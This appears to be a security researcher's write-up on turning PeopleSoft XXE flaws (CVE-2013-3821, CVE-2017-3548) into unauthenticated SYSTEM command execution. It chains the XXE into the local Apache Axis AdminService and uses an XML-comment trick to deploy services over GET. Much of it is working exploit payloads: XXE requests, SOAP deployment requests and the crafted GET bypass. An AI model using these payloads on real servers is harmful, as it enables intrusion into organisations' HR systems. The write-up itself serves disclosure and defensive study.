## Oracle PeopleSoft ##
I had the chance, a few months ago, to audit several Oracle PeopleSoft solutions, including PeopleSoft HRMS and PeopleTool. Despite several undocumented CVEs, the Internet did not have much to offer on how to attack the software, except for the very informative talk from ERPScan at HITB from two years ago. From the slides, it was clear PeopleSoft was a nest of vulnerabilities, despite not having lots of public information about them.
PeopleSoft applications contain a lot of different endpoints, many of which are unauthenticated. Many services also happen to use defaut passwords, probably as a result of the need for interconnectivity. As a result, it is very shaky security-wise, and the exploitation vectors seem to be everywhere.
This article shows a generic way (read: probably affecting every PeopleSoft version) for converting an XXE into running commands as SYSTEM.
## XXE: Accessing the local network ##
Multiple XXEs are known, such as CVE-2013-3800 or CVE-2013-3821. The last documented example is ERPScan's CVE-2017-3548. Generally, they can be used to extract the credentials for PeopleSoft and WebLogic consoles, but the two consoles do not provide an easy way of getting a shell. Furthermore, since the last XXE is blind, and we're assuming a firewalled network, we assume for this article that we cannot easily extract data from local files.
CVE-2013-3821 - Integration Gateway HttpListeningConnector XXE
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://localhost:51420">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
CVE-2017-3548 - Integration Gateway PeopleSoftServiceListeningConnector XXE
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">
Instead, we'll use XXEs as a way to reach various services from localhost, possibly bypassing firewall rules or authorization checks. The only slight problem is finding the local port it's bound to. We can get it upon reaching the main page, through cookies:
Set-Cookie: SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;
In this case, the port is 51500. We can reach the app from the inside via http://localhost:51500/.
## Apache Axis ##
One of the many unauthenticated services is an Apache Axis 1.4 server, under the URL http://website.com/pspc/services. Apache Axis allows you to build SOAP endpoints from Java classes, by generating their WSDL along with helper code to interact with them. In order to administer it, one must interact with the AdminService present at this URL: http://website.com/pspc/services/AdminService.
![](https://images.seebug.org/1495096441823-w331s)
As an example, here's how an administrator would create an endpoint based on the `java.util.Random class`:
POST /pspc/services/AdminService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
Every public method of java.util.Random would therefore be available as a webservice. Calling` Random.nextInt()` via a SOAP call would look like this:
POST /pspc/services/RandomService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:nextInt />
</soapenv:Body>
</soapenv:Envelope>
And it would respond:
HTTP/1.1 200 OK
...
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:nextIntResponse
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
<nextIntReturn href="#id0"/>
</ns1:nextIntResponse>
<multiRef id="id0" soapenc:root="0"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xsi:type="xsd:int"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
1244788438 <!-- Here's our random integer -->
</multiRef>
</soapenv:Body>
</soapenv:Envelope>
This administration endpoint is blocked for external IPs, but does not require a password when reached from localhost. That makes it a perfect candidate for exploitation. Since we're using an XXE, using POST requests is not possible, and we need a way to convert our SOAP payloads into GET.
## Axis: POST to GET ##
The Axis API allows us to send GET requests. It takes given URL parameters and converts them into a SOAP payload. Here's the code responsible for converting GET parameters into an XML payload, from Axis' source code.
public class AxisServer extends AxisEngine {
[...]
{
String method = null;
String args = "";
Enumeration e = request.getParameterNames();
while (e.hasMoreElements()) {
String param = (String) e.nextElement();
if (param.equalsIgnoreCase ("method")) {
method = request.getParameter (param);
}
else {
args += "<" + param + ">" + request.getParameter (param) +
"</" + param + ">";
}
}
String body = "<" + method + ">" + args + "</" + method + ">";
String msgtxt = "<SOAP-ENV:Envelope" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">" +
"<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" +
"</SOAP-ENV:Envelope>";
}
}
To understand how it works, it's again better to use an example:
GET /pspc/services/SomeService
?method=myMethod
¶meter1=test1
¶meter2=test2
is equivalent to:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<myMethod>
<parameter1>test1</parameter1>
<parameter2>test2</parameter2>
</myMethod>
</soapenv:Body>
</soapenv:Envelope>
Nevertheless, a problem arises when we try to setup a new endpoint using this method: our XML tags must have attributes, and the code does not allow it. When we try and add them to the GET request, for instance:
GET /pspc/services/SomeService
?method=myMethod+attr0="x"
¶meter1+attr1="y"=test1
¶meter2=test2
Here's what we end up with:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<myMethod attr0="x">
<parameter1 attr1="y">test1</parameter1 attr1="y">
<parameter2>test2</parameter2>
</myMethod attr0="x">
</soapenv:Body>
</soapenv:Envelope>
Evidently, this is not valid XML, and our request gets rejected. If we put our whole payload in the method parameter, like so:
GET /pspc/services/SomeService
?method=myMethod+attr="x"><test>y</test></myMethod
This happens:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<myMethod attr="x"><test>y</test></myMethod>
</myMethod attr="x"><test>y</test></myMethod>
</soapenv:Body>
</soapenv:Envelope>
Our payload is therefore used twice, once prefixed by <, and once prefixed by </. The solution comes from playing with XML comments:
GET /pspc/services/SomeService
?method=!--><myMethod+attr="x"><test>y</test></myMethod
We get:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<!--><myMethod attr="x"><test>y</test></myMethod>
</!--><myMethod attr="x"><test>y</test></myMethod>
</soapenv:Body>
</soapenv:Envelope>
Due to the `!-->` prefix we added, the first payload begins with <!--, which is the start of an XML comment. The second line starts with `</!`, followed by `-->`, which is the end of the comment. The first line is therefore ignored and our payload is now only interpreted once.
From this, we can convert any SOAP request from POST to GET, which means we can deploy any class as an Axis Service, using the XXE to bypass the IP check.
## Axis: Gadgets ##
Apache Axis does not allow us to upload our own Java classes when deploying them; we must therefore work with already available ones. After some research in PeopleSoft's pspc.war, which contains the Axis instance, it appears the `Deploy` class of the `org.apache.pluto.portalImpl` package contains interesting methods. First, `addToEntityReg(String[] args`) allows us to add arbitrary data at the end of an XML file. Second, `copy(file1, file2)` allows us to copy it anywhere. This is enough to get a shell, by inserting a JSP payload in our XML, and copying it into the webroot.
As expected, PeopleSoft runs as SYSTEM. This results in an unauthenticated remote SYSTEM exploit, just from an XXE.
![](https://images.seebug.org/1495096499343-w331s)
暂无评论